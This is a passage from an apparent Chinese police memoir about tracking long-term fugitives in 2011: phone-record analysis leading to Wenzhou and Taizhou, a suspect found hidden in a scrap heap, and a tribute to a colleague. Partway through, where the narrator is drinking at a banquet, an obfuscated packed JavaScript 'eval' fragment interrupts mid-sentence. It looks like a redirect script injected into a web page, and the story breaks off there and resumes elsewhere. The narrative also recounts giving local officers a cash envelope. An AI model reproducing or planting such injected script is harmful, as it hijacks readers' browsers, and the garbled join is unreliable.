回到单位以后，继续研究各种逃犯线索，加上逃犯纷纷投案，我们的清网行动战果从排名垫底逐步爬上了列表的上方。三个月间，我协助外地来晋兄弟单位，抓捕了十多名逃犯。 忐忑不安的过完2011年国庆节，我们苏副局长包干的省督逃犯，还没有影，中队长找到我，问我有没有什么线索，我说有，预判在浙江，我的理由是直觉，领导听不懂我的研判过程，只是让我再认真深入研判。 这起案件，我们去泉州中院，复印了整个案件的卷宗，仔细研究每一份笔录，每一个细节。目前在逃人员谭某师，1997年参与抢劫一起杀人案，案发时，刚刚过十八岁，同案犯两人，其中一人是累犯，1999年被执行死刑，另一名案发时仅15岁，被判有期徒刑二十年，为了掌握第一手资料，我们专门到监狱专门提审他。为了抓捕哪些在逃人员，我们把原有所有的卷宗都翻了一遍，能找到的已经处理的嫌疑人，都去见了一面，如果在监狱的，就去监狱提审。 那天，医生和我，带一名司机，驱车两百多公里，到监狱与在逃犯的同案犯见面，才得知逃犯谭某师的同案毛某在服刑期间获得减刑，已经提前释放了。谭谋师没有任何照片资料，就只有一个身份，户籍信息上因历史原因，且谭谋师没有领过身份证，当然也就没有照片，工作组去他家，也没有获取到照片。我们提审了其他的嫌疑人，仅仅获得了其他的逃犯一些资料信息，作用不大。 逃犯已经跑了十四年，留下的信息很少，当年曾有人员出差当地，也是一无所获，案发后，他再没有回过家，留下的资料少之又少。越有挑战的事情，我反而越愿意干，相比去做逃犯家属的劝投工作，我更新通过研判我继续对逃犯谭谋师开展工作，寻找他可能留下的蛛丝马迹。我开始汇总现在手上掌握的信息： 1、一张发黄的通缉令上犯罪嫌疑人谭某师的户籍信息，户籍地：重庆某县，1979年出生，汉族； 2、千辛万苦弄来的嫌疑人母亲的半年通话清单，每个月不到十条通讯记录； 3、在案件的笔录中，证人笔录中说过，谭谋师的外号，谭七，小七； 4、重庆的兄弟单位，通报过一个情况，谭谋师曾躲在贵州某地，或者在贵州某地生活过一段时间，有人反映在那里见过他。 这些资料很少，对我来说都是宝贝，每天忙完所有的工作，到了晚上，都会再办公室独自一人开始一张纸一张纸的翻阅所有的资料信息，生怕错过一个字。 到现在我都一直认为，刑警在研判这些信息的时候，直觉很重要，这种直觉是建立在多年的信息研判经验的基础上，对于信息和数字的敏感上的，线索往往在是你可能忽略掉的只字片语上，有些信息无法形成关联，但是你可以通过敏锐的直觉来假设信息关联，从而实现研判成果。这个过程，必须自信，要相信邪不胜正，天网恢恢疏而不漏。当然，还要有试错的心态，不怕出错，谁都有失误，哪怕判断失误也是宝贵的经验。 不记得是第几次看嫌疑人谭谋师母亲的话单了，六个月不到一百条记录，我把每一条记录都标记了一个颜色，我发现有一个颜色的电话，每个月都有一次通话，这个号码来自浙江，前期的工作也发现，嫌疑人谭谋师有亲戚朋友在浙江务工，但是这个号码引起了我的注意，我将号码发给温州的兄弟帮我看一下，这是我再社区民警的时候结识的兄弟，当时他们来追补一个命案负案在逃人员我配合他们蹲守，最终将嫌疑人抓获，几天的工作，大家建立了联系，当我有所请求的时候，他们非常认真的开展工作，并第一时间回复我。这个号码来自温州乐清，通过分析，这个号码联系最多的是贵州，持有者也是一个名贵州女子，随后他们把身份信息也发给我，改名女子来自贵州某地，已婚，育有一女，奇怪的是，她的户籍还在娘家，而且登记信息中，没有女儿父亲的信息。贵州人跟嫌疑人谭谋师八辈子打不着的一个人，会连续每个月去一次电话，这太不正常了。 浙江的公安信息化建设非常好，因为跟他们关系不错，此前，清网行动开始后，他们特意给了我一个授权用户，用于数据分析，通过数据查询分析，我锁定了好几名逃犯。这次我再次在浙江的信息系统中找资料，来证实我的直觉假设。经过海量的搜索，我发现曾有一名当地警方抓获的嫌疑人的手机通讯录中存有一名外号“小七”的号码，这个号码是贵州女子的密切联系人。我在当地2001年的流动人口登记信息中，找到一条记录，登记的是一名叫赵七的人，年龄与谭谋师同年，同月同日，也来自重庆，但是后来这名叫赵七的人，就消失了，他没有登记身份证号码，所有的系统中再没有出现过这个人，而重庆户籍中也没有这个人。这个赵七，会不会就是我要找的谭谋师，赵七在系统中留有一张略微模糊的一寸照片，应该是办理暂住证时留下的照片。这是我能找到唯一可能是谭某师的照片。 现在直觉告诉我，那名神秘的贵州籍女子就是我要找的人，那个“小七”的手机号码就是谭某师的号码。当我向领导汇报，他觉得这个事不太靠谱，但是我坚信我的判断。队长作为一名老刑侦，现有的情报信息却是不足以支撑我的判断，他需要更多的证据资料，但是现实情况是，没有其他可以拿得出手的资料。面对这若隐若现的蛛丝马迹，领导一致认为我是错的，这事暂时放一放，先抓其他逃犯。 这一放就是一个多月，已经到11月底，省厅督办的10个逃犯已经抓到了9个，就剩谭某师了。领导很着急，局党委开会，账单就这一个了。只能死马当活马医了。我的意思是跟我几天时间，让实践来证明我的判断对错。 第N站 浙江省温州市 温州市，浙江省辖地级市，位于浙江省东南部，瓯江下游南岸。介于北纬27度03分-28度36分、东经119度37分-121度18分之间；东濒东海，南毗福建，西及西北部与丽水市相连，北和东北部与台州市接壤；属中亚热带季风气候。全市陆域面积12065平方公里，海域面积约11000平方公里，下辖4个市辖区、5个县、2个县级市，户籍总人口828.7万人（2018年末）。 我们从厦门搭乘飞机飞温州，动车还没有开通。一个很小的50座的支线飞机，飞行高度比较低，从起飞开始抖到降落，如同坐在拖拉机走在乡村泥土路上，好不容易到了温州。坐车从机场到市区，用了差不多四个小时，到达市区，住在鹿城区公安分局门口的酒店，这是我第n次住这里。第二天直奔乐清县，根据前期研判的情况，那名神秘女子和逃犯谭某师应该是在乐清县的白石镇活动。我和医生一路风尘仆仆，从温州市区搭乘大巴到乐清。然后打出租车到了乐清刑侦大队，温州市区的兄弟帮我联系乐清刑侦大队的民警，他们很热情的接待了我，当听说嫌疑人可能在白石镇，就叫当时在县城办事的白石派出所的教导员接上我们去白石派出所，白石镇属于山区，道路崎岖，离县城两个小时车程，浙江省的大部分地区都是山区，但是丝毫不印象浙江发展成为一个工业强省、经济大省。白石镇在乐清当地是个很有名的工业区，有很多工厂，流动人口也非常多，还是当地的风景区，一座什么山，名字我已经忘记了。 当天下着雨，一直在降温。我们从晋江出来的时候，只带了一件厚一点的外套。达到白石所以后，负责刑侦的副所长配合我们，当听我的的研判过程，他觉得不太可能，不过还是安排人继续配合我工作，经过查询，我最后查到那名神秘的贵州籍女子就在辖区的一个工厂中，浙江的这些基层流动人口管理非常到位，有专职的流动人口协管员，带着数码相机，到现场采集登记。经讯问，那家工厂还有大约二十多名员工没有登记完信息。因为当天时间较晚，为了打草惊蛇，我们决定第二天，在正常的工作时间内，跟协管员一起，到工厂以采集流动人口信息为由，正面接触一下。 浙江省东南部山区，初冬，天黑的比较早，下午五点半天就黑了，天还下着小雨，气温下降得很快，到了夜间，已经到十摄氏度以下了，为了不影响第二天的工作，我们决定当晚住在白石镇，说实话我们错过离开镇子的班车，而且也没有出租车可以叫，这里到县城开车需要近两个小时，白石镇虽然是工业区，但是位置相对比较偏，交通并不是很便利，商业并不发达，那个时候一间酒店都没有，仅有几间小旅馆，派出所的司机送我们到了其中一间旅馆，价格80元一间，没有发票，老板兼服务员，这个旅馆，其实就是私人住房改建的，装修像是上个世纪90年代的，已经破旧不堪，估计是租过来的，房间倒是挺大的，我们住在二楼，老师铝合金窗户玻璃很薄，隔音不好，好在那个地方外面很安静，并不吵；卫生间非常脏，没有热水洗澡，老板给我们俩一个开水壶，算是喝的水，房间门锁是非常老实的锁，没有暗拴，非常没有安全感，被子很脏，我们几乎是合衣而睡。这不算我住过的最差的地方。旅馆对面有家小饭馆，在饭馆吃了碗面，回到旅馆，因为非常疲劳，直接就睡觉了。不过晚上睡觉前，我用一把椅子顶住了门。 条件尽管如此，当晚，我还是睡得很香，长期工作养成的习惯，能吃能睡，生物钟是乱的，没有什么影响，不论时间地点，到哪都能睡，我还特别能吃，宵夜什么都不忌口，刚到刑侦时体重65公斤，最胖的时候88公斤，就是这么吃出来的。医生就不行，我们买了点零食，整了几瓶啤酒，他喝完酒才睡着。 第二天一早，我们就按照约定，出门搭乘了一辆三轮车到了白石所，见到了配合我们行动的流动人口协管员，是本地人，年纪四十多岁，据说也是个包租公，在当地有很多房子在出租，属于生活无忧，不差钱的那种。热心公益，所以愿意拿比较低的工资做流动协管员的工作，他开着一辆福特嘉年华轿车过来接我们，仅五分钟的车程，我们就到了神秘贵州女子工作的厂里。 按照事先的安排，跟平时的工作一样，流动协管员对工厂尚未登记的员工开始登记信息，办理暂住证，为了不引起逃犯的警觉，当地派出所没有安排人跟我一起，而是在外面的路口安排了两组人等着，以防万一随时支援我们。到了工厂以后，找到工厂负责管理人事的管理，事先了解了一下情况，除了有二十多名尚未登记办理暂住证的工作外，我们侧面了解了一下那名贵州籍的女子，她跟老公一起在工厂务工。管理负责把人召集，我们开始逐一为每个人拍照登记信息，终于轮到那名神秘的贵州女子，她按照要求登记了信息，协管员问她老公在哪里，是不是也没办，工厂的管理就叫她去她老公过来，原来她老公上晚班，这个时候不上班，在宿舍休息。过了大约二十来分钟，我们已经把剩余暂住证的办完，那名贵州女子带着她老公出现了，来人个子瘦小，身高1米65左右，皮肤很黑，有些木纳，说话略带重庆、贵州口音，自称赵某，我拿着相机给他拍照，他的眼神有些飘浮，我看他的眼神的时候，他有些躲避，拍完照以后，我要跟他要身份证信息，他说没带，要回去拿，我就要他报了一个身份信息给我登记，然后就回去拿身份证了，走到门口时他回头看了我一眼。为了能够尽快核实他自报身份信息真假，我们决定先回到所里核实，再决定是否过来抓捕。这是一步险棋，所有人的质疑和不信任，让我有些迟疑，变得有些犹豫，开始求稳。 到了所里，经过查询核实，赵某给的身份信息是假的，我们决定立刻回去抓人，这个赵某肯定有问题，不然不会报一个假信息给我，我们通知外围的警力进厂抓人，结果却扑空，到了工厂，赵某住的地方，只剩下那名贵州女子，赵某已经不知所踪。从我们离开到返回，仅过了半个小时，而工厂外围的路口都有警车把守，赵某居然逃走了，我们查看了工厂的外围情况，发现有一条河边的小路，可以判明赵某是抄小路逃走的，绕开了我们守在路口的人，现在他去向不明。事已至此，为了进一步核实身份，我们将贵州女子带回派出所询问，但是她并是很不配合，很多问题都不回答，还告诉我门赵某是贵州人，而赵某自称是四川人，漏洞百出，说是赵某临走前说去找老乡了，具体去哪里并不知道，而且并没有带行李。最后这件事，我还是选择相信她。在询问她的时候，借此机会，我翻看了她的手机，发现谭某师的母亲手机号码，存的名字是妈。我基本上可以判断，赵某就是我要找的谭某师。 经过几个月的寻找，终于找谭某师的下落，可惜的时，找到他之后，仅半个小时，我又把他弄丢了。我立即请求温州市区警方支援，同时向领导汇报情况。在白石所，为了不惊动谭某师，稳住她老婆，我们从头到尾都没有说自己从哪里来，我们告诉谭某师老婆，说他没有如实提供身份证，要她转告谭某师，回来以后，来派出所找我们，然后我们将她放回去。 白石镇交通不是很便利，我们要即刻前往温州市区寻求当地的支持，白石所民警推荐我们搭动车前往温州市区，将我们送到乐清站，我们买了车票，雨一直在下，天色非常暗。这条高铁线，就是后来发生出轨事故的温涌线，沿途的火车站外观设计都差不多，功能分区都一样，可能是同一个设计团队做的，进站以后你会产生一种错觉，忘记自己身在哪里。乐清火车站，搭车的人很少，设计也是一个标准车站，我和医生坐在宽敞空旷的候车大厅内，我们要乘坐的车还以有一个小时才进站，我靠在椅背上，仰望着天花板，感觉天花板离我很远，自己越来越渺小，如同凡尘。当时我们在一楼候车，透过的玻璃门可以看到站台上的情况，车辆人员来来往往，画面似曾相识，想象着我自己在地球的这个角落，谷歌地球放大缩小的画面一直在我脑海里回转。 我早已经习惯了在路上到处奔波。不同于流浪，得益于祖国的高速发展，交通便利，我可以有机会去很多地方。主要是追着嫌疑人跑。现在我再次追着嫌疑人走，嫌疑人已经启程，预计到了温州市区，我们要追过去，找到他。现在我寄希望于我们最后给谭某师老婆的障眼法起到作用。 下午，我们赶到温州市区，温州熟悉的兄弟已经外出追逃去了，他们介绍我到了鹿城区情报大队，在情报大队的协助下，发现嫌疑人已经离开温州到了台州市。 第N+1站 浙江省台州市 台州是浙江另一个地级市，位于浙江中部沿海，在温州的北边，跟温州一样，依山面海，地势起伏，民营经济发达，吉利汽车创始人李书福就是台州人。有宣传资料上介绍：宁波和台州同属宁波都市圈，宁波是龙头，台州是重要组成部分。台州是国家级小微金融改革试点城市，是全国唯一拥有3家城商行的地级市。 从现有的情况分析，看来逃犯谭某师可能受到惊吓，有所警觉，选择了一路向北，来到了温州，或许真的躲到某一个老乡那里了。我们向领导汇报此事，请求支援。因为嫌疑人身份已经确认，苏副局长决定亲自带队过来支援我们，单位的车全部外出出差了，他借了一辆大众的商务车，带上司机和中队长一起三个人，开着车直奔台州。我和医生则搭乘动车，从温州市区赶往台州，按照计划当晚我们在台州汇合。 我和医生抵达台州市公安局时，已经是傍晚6点，天气预报显示，气温已经骤降至0度，台州比平时提前进入冬季，我和医生在寒风中瑟瑟发抖，不停的跺脚。记忆中每次11月底出来追逃，都会遭遇寒流，从未幸免。台州经济发达，我们发现台州市公安局对面有很多商业场所，我和医生决定吃个饭，然后去泡个脚，坐等苏副局长过来。这是多日来最惬意的几个小时了。我们吃着海鲜大餐，狠狠的犒劳了一下自己，两人还破例喝了点酒暖一下身体，吃饱喝足就走到旁边一家富侨泡脚。泡脚的时候我们问询了一下周边的酒店，附近有一家四星级酒店还可以，于是就电话定了房间。 室内开着空调，温暖如春，让我攒时忘记外面的寒冷，这几天所有的艰难还有目标任务都抛到九霄云外，专心享受温暖带给我的安全感。几个小时很快就晃悠过去了，苏副局长的车已经到了酒店，我和医生匆忙赶到酒店，开好房间，没有过多的交代。在来台州的路上，苏副局长已经联系了当地的行动技术支队，支队长在泉州出差，也是追逃，所以工作很好谈，已经约好第二天前去交接工作。 有了领导的支持，辛苦熬了几个月的研判成果也得到证实，虽然人没有抓到，但是我也很安心，加上舒适的环境，多日的疲劳感，带来了无穷的睡意，我真想睡到天荒地老，我洗完澡我就匆匆睡了。 第二天一早，我们就去了台州市公安局，到了行动技术支队，支队接案室里，有三十多个单位的人在排队等，因为台州的支队长特别交代，我们才有机会，过去交案件，我们的案件分配给办案的大队，大队长姓陈，由他们负责协助我们的案件。分配好以后，他们就通知我们回去等消息。我们下楼的时候，发现一帮操东北口音的哥们在往信封里装钱，然后打电话请当地的下来，聊一下。这一幕被苏副局长看在眼里，问我们带了多少现金出门，我当时带了4万现金出门，还剩三万多没花，林队还带了两万现金给我，我手上有五万左右，苏副局长让我准备一个装了一万现金的信封，然后我们再次上楼，直接到了陈大的办公室，将信封给了陈大，他都没看信封，直接装进口袋里，然后我们说要请他们吃饭，他们就说，晚上定好地方，然后通知我们，让我们放心回酒店。 这是我出差第一次，因为办案需要，提前支付给对方奖金，抓获本案嫌疑人的奖金只有一万，还需要抓到人回去以后专项经费中领取，本来要留着自己用于补贴差旅费超支的部分，现在直接给他们了，我开始操心回去报销的事情了。 下午4点我们就接到电话，通知到一家海鲜酒楼吃饭，对方有四个人，都是大队的办案民警，我们五个人，酒是苏副车上带来的自己私人的洋酒，早就准备好，但是喝完了还不够，后来好继续叫了啤酒，我喝到一半，怕受不了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车队开始原路返回，高速刚刚离开温岭，椒江特警带队的副大队长打来电话，逃犯谭某师已经全部招供了。到了椒江特警驻地，我跟医生开始做第一次讯问笔录，其他人都去吃饭了。谭某师交代得很彻底，他等这一天等了很久，特别是得知同案犯被枪毙，更是惶惶不可终日，在外东躲西藏。那天在工厂看见我们，就发觉我们跟流动人口协管员不一样，然后就离开，躲一下风声，过去十几年都是这么过来的，没能睡一个好觉，看到警察就绕道走，生怕被发现，所以当我们抓到他，他便主动交代了当年的案件，把积压在心底十几年的事情说了个痛快。 1997年夏，谭某师跟着老乡甲（主犯，抢劫前科）一起来到晋江鞋都务工，某日吃完晚饭，甲的女朋友（□□女）跟甲吵架后，上了当地一名男子的摩托车离开，甲边过来喊谭某师、同案犯小乙一起过去帮忙，说是被人欺负了，三人抄上家伙，沿着摩托车走的那条往海边土路方向，一路小跑追到一个河边空地，本地男子跟甲的女朋友正在皮肉交易，甲大怒，上前抓住那名男子，三人一顿打后，甲的女朋友见状跑了，三人将那名男子捆起来继续殴打。甲不解气，使用石头多次砸向那名男子的头部，后三年将男子随身携带的BB机、现金拿走，并将那辆摩托车骑走。那名男子被发现时已经死亡。得知此事闹大以后，谭某师选择了跑路，四处躲藏，到处打工为生，躲在浙江务工期间，一直自称赵某，并结识贵州籍女子，两人结为夫妻，并生有一女，因为没有身份证，所以一直没有领结婚证。之后就留在乐清务工，直到被抓。 做完笔录，由当地警方送人到看守所羁押，我们没有跟着，直接回到酒店。到酒店时已经是凌晨1点多，两人饿得前胸贴后背，我们一行五人到当地的夜市，晚饭宵夜一起吃，破例喝了一点酒。 第二天九点，从酒店退房，到椒江区移交谭某师，然后启程回晋江，沿着G15沈海高速，路上多处堵车，我们没有说话，路上略为沉闷，不过遇到两次大堵车，这条是交通要道，沈阳到海口，一路链接渤海湾、京津冀、长三角、珠三角，我们属于在长三角到珠三角中间这段，车辆非常多。进入福建后才得以改善，原计划5个小时的路程，最后走了八、九个小时才到。到鞋都时，天已经黑了，不错相比台州，泉州暖和多了。 快速做完一份笔录，采集完信息后，我们将嫌疑人谭某师送进看守所，然后回家休息，过去的一周跟打仗一样，太累，需要好好休息一下。第二天，我来到单位，将谭某师的卷宗拿出来，准备移交，结果，林队直接让我接下这起案件，继续办理，原因是我熟悉。 我就继续办理这起案件，将人从看守所弄出来，辨认作案现场，十几年过去了，当年那个地方已经变化很大，河道变窄了，树都被砍了，往海边的那条土路已经变成水泥路，两边的空地都盖起了工厂，犯罪嫌疑人谭谋师已经完全认不出当年的作案地点了。时间过得太久，跟记忆中完全不一样，我也是看到原案件卷宗中的照片才知道现场的样子。 犯罪嫌疑人谭某师涉嫌抢劫致人死亡一案，案件很顺利，批捕，移送起诉，两个月就完成了，2012年春节刚过，晋江地区中级人民法院一审判处其无期徒刑，上诉后，高院维持原判。 二、垃圾堆里挖出的逃犯 2011年清网行动期间，除了日常工作，追捕逃犯外，作为辖区刑侦中队，经常要协助全国各地来的刑侦战线的兄弟追捕逃犯。有一天我值班，接到一个电话，称有逃犯可能藏身桂林村，我带上人就赶过去，没费多少功夫，就抓获这名逃犯，仅仅是接到外地的一个电话。这种案例那一年非常多，因为各地的追逃任务很重，已经上升到政治任务的高度，必须要努力完成，为了各地的排名任务，都拼了老命，其实我是很理解的，本来网上在逃系统是个很好的东西，解决了各地外出办案的很多压力，但是有些地方，却因为各种原因，存在懒政，或者不作为，把原本要抓捕的对象，登记到网上就万事大吉，回去睡觉，导致网逃系统偏离了原有的目标，现在等于在补以前该做没有做的事情。 河南就是这样的重灾区，由于历史原因，之前几年累积下来逃犯非常多，河南省厅下决心要清理，因此追捕任务非常重。有一次我值班，来了两名河南南阳某县刑侦大队民警，请求我协助，当地有一名1988年的系列抢劫、杀人、□□案的逃犯，经过研判，可能藏身在鞋都辖区。好家伙，跑了23年，在逃系统中有一张嫌疑人张某23年前的一张照片，23年来，当地警方从未放弃追捕工作。这次他们跟我追捕的时候遇到的问题一样，他们之前就到泉州行动技术支队，但是对方无法判断他们提供的资料是否属于逃犯的，因为没有办法配合抓捕。他们只能来找我们了。 我仔细研究了一下，他们带来的资料，逃犯张某的一个关系人，年初的时候接到了一个从福建晋江打过去的电话，经过分析那个号码，是鞋都一家鞋底厂的，找到那家鞋底厂，鞋底厂的反映是一个收废料的人用过电话，而且通过话单，找到了那个收废料的人使用过的手机号码。那个号码只打过一次，无法确认。 我将所有的资料拿回办公室，仔细研究了大约3个小时，发现收废料的应该是嫌疑人，河南警方分析得没错，不管是不是，先去看看就知道。现在问题是如何找到这个，不能直接打电话，风险太高，很有可能惊动逃犯，只能摸排。事后证明，这个决定非常英明。 通过分析南阳警方带来的资料，逃犯张某应该藏身在新坊脚一带，河南人有收破烂废料的传统，在晋江收破烂除了安徽人就是河南人，而且河南人最多。政府曾多次组织过清理这些违章搭建有消防隐患的棚屋，但是他们采取是游击策略，不正面对抗，到处生根，最后政府居然没怎么去管。 新坊脚就有一大片收破烂们自建的棚屋，总计约有超过一百户。散布机场河道周围靠近公路的这侧。有大约六七个聚集区。我找到国权，跟他说好我去现场工作，如果有情况通知他，他再叫人过来增援。接着我就开车，带着两位南阳民警到了那片区域，盛夏，非常热，我们开始一个片一个片的排查。排查了三个多小时，剩最后一片区域，此时已是傍晚，这片区域有大约十几户，进出只有一条路，我们就走进去查看，最后道路尽头的最后一户，我看到一名跟张某照片上的人很像的老人家，我就独自走过去跟他聊了两句，这会仔细看清楚了长相，就像逃犯张某本人，只是看上去老了很多，满脸都是皱纹，但是眼神没有变，我确认应该是本人，问着他就转身走进了屋内，我无法屋内的情况，为了确保安全，万无一失，我不动声色，又走回到路口。 通知南阳的民警看住两个方向路口，我到外面打电话通知增援，焦急的等待了十几分钟，国权带着十多名辅警赶了过来，天色已经完全暗了下来，我们迅速包围了发现逃犯张某的那片棚屋，进去搜人，屋内非常的热，如同桑拿房，我进去瞬间汗就湿透衣服，仅有一个小白炽灯，光线还很暗，不过大家带来了很多手电筒，你可以看到房间里一道一道的光亮，在不断晃动。奇怪的是，棚屋内并不大，就几十个平方，但是我们找了几分钟，几乎翻遍房间的所有角落，但是却没有看到人。屋内只剩一名老妇，我第一次来的时候，她也在门口，仅仅过了十几分钟的时间，但是这次她告诉我说，没有人在，一直只有她一个人在，这种睁着眼睛说瞎话的，我并不想与她理论，她在刻意隐瞒着什么，我直接安排一名辅警控制住她。现在我绞尽脑汁在想，逃犯去哪里了。 我从这个棚屋离开时，离这个位置不足百米的两个路口都已经把守住了，并没有看到有人离开，虽然光线暗，但是不存在看不清，就算飞也会被我们发现，他要么就是隐身了，或者遁地了。我们四处找，有没有挖洞的痕迹，四面的墙是石棉瓦做的，并没有被动过的痕迹。 我看着那名老妇女，我在屋内时，她很镇静，不过当我离开屋子，来到外面院子时，她显得有些慌乱。我看了一下外面院子，是个堆场，堆放了很多工厂收过来的肥料，堆着很整齐，于是我爬到一处较高的位置，观察四周，并叫大家搜院子，别放过任何一个细节，我在最高的那堆肥料上，来回走动，用手电四处查看，来回走了三四次，我突然感觉脚下，有一个地方特别软，剩下都是硬实，我拿手电筒脚下照了一下，在废料的底下，隐约看到一个人，我立即大喊出来，大家听到我喊，迅速围拢了过来，我拿着棍子往下捅，确认是一个人，接着扒开做鞋底废料，逃犯张某只穿着内裤蹲在里面，当几个手电筒的光集中在他身上的时候，他缓缓站起来，我看到他身上全是汗。还有鞋底废料留下的碎渣。 我们迅速给逃犯张某上铐，叫她老婆拿了两件张某的衣服带上。将人押回所里讯问。逃犯张某第一次看到我时，我说我是工厂的问废料的回收价格，就猜我可能是警察，所以我一离开，他就叫老婆把他藏在废料堆里。之前的二十多年，他都是这样躲过去的，平时很少见人，一有风吹草动就躲起来，跑了二十多年，还生了一个儿子，儿子生了一个孙子，也满足了。自称年轻时不懂事，当时在南阳，跟其他8个同案犯一起，做了很多伤天害理事情，入室盗窃，抢劫，□□，最后伤害、杀人，东窗事发后，同案犯大部分都被执行死刑，只有他一直在逃，当我出现时，终结了他的逃亡生活，不用再草木皆兵了，现在终于不用逃了。 多年的刑警生涯让我一直觉得自己的演技还不错，想不到一开口就被他发现了，真是自视过高了。好在最后成功将其抓获，两天后，嫌疑人张某移交给了南阳警方押回审理，天网恢恢，疏而不漏。正义永远不会缺席，有时会迟到，等待逃犯张某的将是正义的审判。 20.第 20 章 三、纪念刘勇战友 由于我在鞋都中队，成功研判并抓捕了很多比较难的网上逃犯，我的名声渐起，很多外地公安系统过来追逃的同志，听说我的事情以后，纷纷跑过来找我，请我帮忙协助，研判抓捕逃犯。其实他们前期的工作都做得很扎实，线索很充分，有时候因为当地地理位置特殊，技术部门没有办法开展精确的工作，而我就是通过他们前期侦查收集的各种信息来进行碰撞，完成最后一击，实现落地抓捕。 刘勇，一个很普通名字，我们有同事也叫刘勇，普通得不能再普通。我认识的这个刘勇，年长我几岁，湖北荆州市监利县人，原单位湖北监利县公安局，毕业于中国刑警学院，科班出身。2011年清网行动时与前来追逃的刘勇相识。那是某一天傍晚，当时我在中队值班，他突然出现在我面前，刘勇个子不高，身材略瘦，眼神犀利，看上去很精干，面部没有表情的时候，会让人觉得很凶，当天穿着深色的衣服，我第一眼见到他觉得像是混江湖的，如果他不是亮出警官证，我觉得他像坏人要赶他出去。那天他和同事开着一辆福州牌的奥迪A6过来，据刘勇介绍，他在当地社会关系比较广，人缘非常好，很多老乡在福建发展得很不错的，自己做生意的，跟他私交都很好，跟我第一眼看的不差，果然有些江湖的习气，这次他来到福建出差，朋友们纷纷接待，还借车给他们使用，所以他就开了一台奥迪A6过来。他时听人推荐，找到了我们中队，派出所值班室的民警引导他找到了我的办公室。 刘勇介绍说是过来追捕一起多年前的命案逃犯，是一个故意伤害致死的案件，案犯为两个人，案发后两人一直在逃，因此案件也一直没破。经过前期的侦查研判，嫌疑人可能藏身在鞋都镇某地，这次一定要将二人抓捕归案，他们已经来了半个多月了，因为逃犯案发时都是未成年人，都没有照片，比较难办，这个问题普遍存在，所以他在计划抓捕前，专门过来一趟，先摸一下情况，根据他们提供的数据，我就带着他们到鞋都镇的几个村里去看了一下，熟悉一下情况和地形，留下了联系方式，他们就去找泉州寻求行动技术支撑抓捕行动。 那几天我刚好出门抓人去了，就没有配合他们工作。想不到几天后，那天我正好值班，刘勇他们又过来了，告诉我说，因为当地地形复杂，泉州技术部门工作了一天，也没能确认位置，所以人没能抓到，他们这次来，就是想问我有没有其他办法。 我联系了一下泉州技术部门，找到了相关联的数据资料，发现其中一名嫌疑人晚上活动的位置，总是在桂林村、坊脚村、西夏美村三个村，我猜想有可能是藏身在这三个村交汇的位置，这个位置，有十来家工厂，因为我当过片警，对那一带很熟悉，再次研究了通话清单，发现其中一个号码很熟悉，我就翻了自己的手机通讯录，是桂林村某个工厂老板的号码，他的厂子规模很小，刚好就在那个区域。我就打电话给这个老板，询问问他工厂的一些情况，发现他最近订单做不完，他将一部分订单分给了给另一家亲戚的小厂做配套。而且当晚都在加班，事不宜迟，我们将排查的范围缩小到这两家工厂，决定当夜就去摸排一下。刘勇开着车，我带路，我们一行四个人，很快就到了第一家工厂，这个地方我再熟悉不过了，我曾经是这里的片警。工厂位于桂林村大山后自然村，这个村的人都姓林，北边与坊脚村交界，西边是西霞美村，东边是江头村村和桂林村的一大片耕地。到了以后，我联系了林老板，老板人很和善，非常客气，已经在工厂院子里等我了。看到我来了非常高兴，拉着我们要去泡茶，但是时间宝贵，我们要求带着我们到了车间，查看所有的工人，经过仔细排查，嫌疑人不在这里面。 马不停蹄，根据林老板的指引，我们来到第二家目标工厂，这家工厂在一栋四层的私人建房内，与其说是工厂，不如说是作坊，没有招牌，没有名字，没有企业登记信息，一楼是四个门面房的外观，四道卷帘门紧闭，没有人带的话，根本进不去。楼内只是有一条组合生产线，工人仅有二三十个人，一楼仓库，堆放着生产原料，有两名工人在裁剪，分拣，将原材料分类装进篓子里，通过专用电梯运到二楼；二楼是车间，夜间还在加班生产，人数不多，还放着音乐，一副轻松惬意的氛围；三楼是住宿，典型的三合一。安全生产不用我来管，我的注意力完全不在这上面，我们四个人进到厂内，以登记暂住信息为由，对所有的工人挨个进行排查，刘勇进来后，就跟我们分开，一个人在楼上楼下四处游荡，找工人说话，过了一会，他喊我们过去，我们过去，他盯上了一名男子，我就要求那名男子出示身份证，男子跟我说身份证在宿舍，于是带着我们到了三楼的宿舍，整个三楼跟车间一样，大约有一千多平方，用防火板隔成了很多间房间，工人们就住在里面。我和刘勇就跟着那名男子进到房间内，一路上那名男子都不时的回头看，刚刚进到房间，刘勇突然用监利方言跟那名男子说了一句话，那名男子愣住了，刘勇顺势就过去抓着那名的手，我见状，上面帮忙控制另一只手，刚控制住，我感觉那名男子身体就软了下去，一屁股坐在床上，我们随即就给他上了手铐，刘勇跟那名男子聊了两句，那名男子现场就承认了自己就是那名要追捕的逃犯。 原来刘勇进来的时候，四处逛，听这些人说话，发现这名男子是湖北监利的口音，而且跟目标逃犯年龄相仿，最重要的是看到刘勇犀利的眼神后，那名男子有些躲闪，为了不打草惊蛇，他喊我过去，以查身份证为由，把人进到房间后刘勇才动手抓捕，主要是担心同案犯也在现场，因为没有照片，不确认是哪一个人，怕是会惊动，而我们只有四个人，没有办法及时全面控制现场。在房间内，刘勇用湖北方言讯问逃犯，确认另一名逃犯不在现场，我们才放心的押着人离开房间，我对刘勇这波临时的神操作大为佩服。 接下来是抓捕剩下的那名逃犯了。 第一站大功告成，我们迅速返回鞋都所，他们继续讯问抓获的这名逃犯，现在要问出另外一名逃犯的下落。根据已经抓获的逃犯交代，两人案发后从湖北逃到福建后，一直在一起务工，大约半年前，另一名逃犯才分开去了新塘镇一家工厂，新塘镇就是鞋都交界的另一个镇。通过这名已经抓获的逃犯，我们获取了另一名逃犯的手机号码，接下来，刘勇的操作真是让我叹为观止。 刘勇直接拿出手机拨打另外一名逃犯电话，电话接通后，用监利方言做起了劝投工作，确实很厉害，据说打完电话之后对方就关机了。我是瞠目结舌，不知道说啥好。刘勇说对方已经惊动了。 逃犯暂时羁押在晋江看守所。他们继续工作，两天后，刘勇打电话给我，说是逃犯要投案自首，让我在中队等他们，到了中午，刘勇先到，然后接了一个电话，我们就到所门口等来了另一名逃犯。连续的两波神操作，真的是让我佩服得一塌糊涂。 